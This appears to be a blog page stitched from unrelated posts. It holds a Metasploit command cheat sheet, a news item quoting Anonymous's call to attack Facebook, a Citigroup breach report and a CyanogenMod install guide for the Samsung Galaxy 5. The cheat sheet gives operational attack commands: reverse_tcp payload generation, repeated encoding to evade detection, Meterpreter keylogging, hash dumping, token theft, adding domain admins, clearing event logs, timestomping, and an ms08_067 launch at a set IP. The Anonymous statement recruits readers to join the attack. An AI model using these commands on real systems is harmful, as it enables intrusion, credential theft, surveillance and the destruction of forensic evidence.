I was going through theMetasploit The Penetration Tester’s Guideby David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading .
This is a reference for the most frequently used commands a
nd syntax within Metasploit’s various interfaces
and utilities.
MSFconsole Commands
show exploits
Show all exploits within the Framework.
show payloads Show all payloads within the Framework.
show auxiliary Show all auxiliary modules within the Framework. search name Search for exploits or modules within the Framework.
info
Load information about a specific exploit or module.
use name
Load an exploit or module (example: use windows/smb/psexec).
LHOST Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells. RHOST The remote host or the target. set function Set a specific value (for example, LHOST or RHOST). setg function Set a specific value globally (for example, LHOST or RHOST). show options Show the options available for a module or exploit. show targets Show the platforms supported by the exploit. set target num Specify a specific target index if you know the OS and service pack. set payload payload Specify the payload to use. show advanced Show advanced options. set autorunscript migrate -f Automatically migrate to a separate process upon exploit completion. check Determine whether a target is vulnerable to an attack.
exploit Execute the module or exploit and attack the target. exploit -j Run the exploit under the context of the job. (This will run the exploit in the background.) exploit -z
Do not interact with the session after successful exploitation. exploit -e encoder
Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
exploit -h
Display help for the exploit command. sessions -l List available sessions (used when handling multiple shells). sessions -l -v List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system. sessions -s script Run a specific Meterpreter script on all Meterpreter live sessions. sessions -K Kill all live sessions. sessions -c cmd Execute a command on all live Meterpreter sessions. sessions -u sessionID Upgrade a normal Win32 shell to a Meterpreter console. db_create name Create a database to use with database-driven attacks (example: db_create autopwn). db_connect name Create and connect to a database for driven attacks (example: db_connect autopwn). db_nmap Use nmap and place results in database. (Normal nmap syntax is supported, such as –sT –v –P0.) db_autopwn -h Display help for using db_autopwn. db_autopwn -p -r -e Run db_autopwn against all ports found, use a reverse shell, and exploit all systems. db_destroy Delete the current database. db_destroy user:password@host:port/database Delete database using advanced options.
Meterpreter Commands
help Open Meterpreter usage help.
run scriptname
Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory. sysinfo Show the system information on the compromised target. ls List the files and folders on the target.
use priv
Load the privilege extension for extended Meterpreter libraries. ps Show all running processes and which accounts are associated with each process. migrate PID Migrate to the specific process ID (PID is the target process ID gained from the ps command). use incognito Load incognito functions. (Used for token stealing and impersonation on a target machine.) list_tokens -u List available tokens on the target by user. list_tokens -g List available tokens on the target by group. impersonate_token DOMAIN_NAME\\USERNAME
Impersonate a token available on the target.
steal_token PID Steal the tokens available for a given process and impersonate that token. drop_token Stop impersonating the current token. getsystem Attempt to elevate permissions to SYSTEM-level access through multiple
attack vectors.
shell Drop into an interactive shell with all available tokens. execute -f cmd.exe -i Execute cmd.exe and interact with it. execute -f cmd.exe -i -t Execute cmd.exe with all available tokens. execute -f cmd.exe -i -H -t Execute cmd.exe with all available tokens and make it a hidden process. rev2self Revert back to the original user you used to compromise the target. reg command Interact, create, delete, query, set, and much more in the target’s registry. setdesktop number Switch to a different screen based on who is logged in. screenshot Take a screenshot of the target’s screen. upload file Upload a file to the target. download file Download a file from the target. keyscan_start Start sniffing keystrokes on the remote target. keyscan_dump Dump the remote keys captured on the target. keyscan_stop Stop sniffing keystrokes on the remote target. getprivs Get as many privileges as possible on the target. uictl enable keyboard/mouse Take control of the keyboard and/or mouse. background Run your current Meterpreter shell in the background. hashdump Dump all hashes on the target. use sniffer Load the sniffer module. sniffer_interfaces List the available interfaces on the target.
sniffer_dump interfaceID pcapname Start sniffing on the remote target. sniffer_start interfaceID packet-buffer Start sniffing with a specific range for a packet buffer. sniffer_stats interfaceID Grab statistical information from the interface you are sniffing. sniffer_stop interfaceID Stop the sniffer. add_user username password -h ip Add a user on the remote target. add_group_user "Domain Admins" username -h ip Add a username to the Domain Administrators group on the remote target. clearev Clear the event log on the target machine.
timestomp Change file attributes, such as creation date (antiforensics measure). reboot Reboot the target machine.
MSFpayload Commands
msfpayload -h List available payloads. msfpayload windows/meterpreter/bind_tcp O List available options for the windows/meterpreter/bind_tcp payload (all of
these can use any payload).
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X
payload.exe
Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable
named payload.exe.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R >
payload.raw
Same as above, but export as raw format. This will be used later in
msfencode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c Same as above but export as C-formatted shellcode.
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,
loop-vbs, asp, war, macho) Format to display the encoded buffer.
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5
-t exe Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/
_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o
multi-encoded_payload.exe Create a multi-encoded payload.
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.
MSFcli Commands
msfcli | grep exploit Show only exploits.
msfcli | grep exploit/windows Show only Windows exploits.
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.142 E
Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.
Hackivist group Anonymous vows to "kill Facebook" on November 5, citing users' lack of choice in privacy as its reason for attack.
The group of hackers has claimed participation in just about every recent notable hacking attack of this year and successfully broke into 70 law enforcement websites and took down the Syrian Ministry of Defense website this week alone.
This recent interest in Facebook, despite a slew of privacy concerns raised against the social network since its founding, may be a result of Anonymous's recent announcement that it plans to create its own social network, called AnonPlus. After the group's Google+ account, called "Your Anon News," was banned, it began fleshing out AnonPlus.com, "a new social network where there is no fear...of censorship...of blackout...nor of holding back."
Below is a video and statement released by Anonymous explaining the reason for its upcoming battle with the world's largest social network. Let us know your thoughts on the group's statement in the comments below.
Anonymous Statement
Attention citizens of the world,
We wish to get your attention, hoping you heed the warnings as follows:
Your medium of communication you all so dearly adore will be destroyed. If you are a willing hacktivist or a guy who just wants to protect the freedom of information then join the cause and kill facebook for the sake of your own privacy.
Facebook has been selling information to government agencies and giving clandestine access to information security firms so that they can spy on people from all around the world. Some of these so-called whitehat infosec firms are working for authoritarian governments, such as those of Egypt and Syria.
Everything you do on Facebook stays on Facebook regardless of your "privacy" settings, and deleting your account is impossible, even if you "delete" your account, all your personal info stays on Facebook and can be recovered at any time. Changing the privacy settings to make your Facebook account more "private" is also a delusion. Facebook knows more about you than your family.
You cannot hide from the reality in which you, the people of the internet, live in. Facebook is the opposite of the Antisec cause. You are not safe from them nor from any government. One day you will look back on this and realise what we have done here is right, you will thank the rulers of the internet, we are not harming you but saving you.
The riots are underway. It is not a battle over the future of privacy and publicity. It is a battle for choice and informed consent. It's unfolding because people are being raped, tickled, molested, and confused into doing things where they don't understand the consequences. Facebook keeps saying that it gives users choices, but that is completely false. It gives users the illusion of and hides the details away from them "for their own good" while they then make millions off of you. When a service is "free," it really means they're making money off of you and your information.
Think for a while and prepare for a day that will go down in history. November 5 2011, #opfacebook . Engaged.
This is our world now. We exist without nationality, without religious bias. We have the right to not be surveilled, not be stalked, and not be used for profit. We have the right to not live as slaves.
We are anonymous
We are legion
We do not forgive
We do not forget
Expect us
For the second time this year, Citigroup has suffered a major breach of its credit customers’ personal information; this time the breach involved 92,400 customers at its Japanese unit. Citigroup's Japanese credit card unit said personal information for more than 92,000 of its customers was illegally sold to a third party.
The information exposed included the names, account numbers addresses, phone numbers birthdates, and sex of 92,408 credit card holders, Citi Cards Japan warned in an advisory (PDF) issued Friday. The personal identification numbers and card security codes were not accessed.
Citi Cards Japan did not mention how customer information was obtained as the sale of such information is currently under investigation. “While the risk of fraud is minimal due to the absence of security information, CCJ has placed internal fraud alerts and enhanced monitoring on all accounts identified, and no unusual or suspicious credit cards transactions relating to these customers have been detected at this point,” according to Citi Card Japan’s statement.
However, Citigroup disclosed that credit card customers had $2.7 million stolen from their accounts as a result of the June data breach. While victimized customers can get new account numbers and aren't responsible for unauthorized charges, consumers have become increasingly wary of how their information is handled by big companies, especially those that handle their money.
Before going through this post i will suggest you to read previous post for froyo update in samsung galaxy here
The Galaxy 5 I5500, also known as the Corby I5500 has been around in the Android world since June 2010. The phone is one of the lower-end budget friendly Android devices out there who’s time is running out as new devices and ROMs arrive on the scene. However, XDA-Developers forum member subpsyke has recently ported the famous CyanogenMod 7 custom ROM on to the Galaxy 5 which has just given the device a new lease of life. More on the ROM and how to install it after the break.
The release is CM 7.0.3 based on Android 2.3.3 Gingerbread but far from perfect. In no way is this ROM meant as a daily driver, but for those who know their way around ADB, recoveries, ODIN etc., can give this ROM a try and provide the developer with feedback that could help in fixing the bugs or issues that remain. So if you do wish to give it a try, let us point out the working and broken features.
Working features:
* GPS [1]
* WiFi [2]
* WiFi tethering
* 3G
* Sensors [3]
* Brightness controls* Video
* Audio (recording and playback)
* Touchscreen (no multitouch, don't ask because I'm not working on it)
* Root
* Camera (and video recorder)
* Bluetooth [4]
Partially working features:
* Telephony [5]
* Microphone [6]
Not working/unknown features:
* Radio
* MAD Team EXT4 app2sd [7]
* SIM Contacts / SIM Toolkit
* Kies – note: you should never expect a custom rom to work with Kies – Cyanogen or otherwise. You can always downgrade to an official ROM to restore Kies compatibility.
* Hardware encoding/decoding (video acceleration).
Errata:
[1] GPS does not work with the newest Americas baseband ending in JP9. Check your version at Settings -> About phone -> Baseband. If you have the new baseband, you should downgrade to the JP2 baseband to get GPS (and possibly also 3G) working correctly. GPS is confirmed to work correctly on all European basebands (so far).
[2] WiFi functions properly (connect/disconnect, signal strength and mac address are all working correctly). There may still be problems with automatic reconnection from idle states, and if you quickly turn off/on the WiFi device, DHCP may be slow to connect. I'm still working on these problems.
[3] Although the sensors seems to work fine, the sensor daemon is draining battery like crazy. With sensors enabled, the phone does between 800-1000 wakeups a second. With the sensors turned off, the phone does just 70-80 wakeups a second (note: less wakeups = less battery used). Until this daemon problem is fixed, I recommend that you consider disabling the sensors (Settings -> Display -> Auto-rotate screen) for maximum battery savings. Another problem: you must toggle (turn back on and off) this setting after each reboot, or else the battery drain will continue even though the sensors are supposed to be turned off :/.
[4] Your Bluetooth MAC address will not be correct on the very first start (i.e., the first boot after doing a data wipe). However, on the next reboot (and all future reboots) it will use the proper address. In future I hope to resolve this small problem.
[5] When you first boot the phone, if you receive a call and try to answer with the hardware keys, your phone will reboot. You can clear this bug by making an outgoing call after you first turn on the phone. If you do this, the bug will not return until you turn off your phone. If you receive an incoming call but you forgot to clear the bug, answering with the touchscreen controls instead of hardware keys may not cause a reboot.
[6] The microphone beside the earpiece is activated instead of the microphone at your mouth. This means that callers may have problems with call quality, since they're listening to your ear . Until this bug is fixed, I recommend you practice telepathy with your friends (maybe the earpiece microphone will help transmit your thoughts).
[7] I won't add MAD Team app2sd support until this rom is stable (i.e., the microphone, reboot and battery usage bugs are fixed). This should only be used for testing, not for regular use, so I don't want to encourage people to use it so heavily. You can still use Cyanogen's built-in app2sd (the "Move to SD" button) - it's more advanced than Froyo's.
this steps are similar to froyo update that got a huge success for galaxy 5
To begin, download the ROM from the link above and extract it to find a .tar file.
Run ODIN, check the One Package option and click on the One Package tab choosing the .tar file you extracted in step 1 when prompted. (If you’re coming from a Froyo or Éclair based ROM, be sure to do a factory reset.)
That done, put your phone in download mode by taking the battery out, putting it back in after 5 seconds and pressing the Volume Up key, Center button and the Power button at the same time.
Once done, connect it to the PC via USB and click on Start in ODIN.
Once the ROM is flashed, the phone should reboot into CM7. The first boot will be slower then normal and you may see a bootloop but that is normal.
this is similar to this steps...just the .tar file will be different..and u will get gingerbread in your device
note::i personally not suggest u to try this with your phone that is on daily use..if u have another phone for stand by then u can try it for sure ,,it is working great..i have tried it my self.
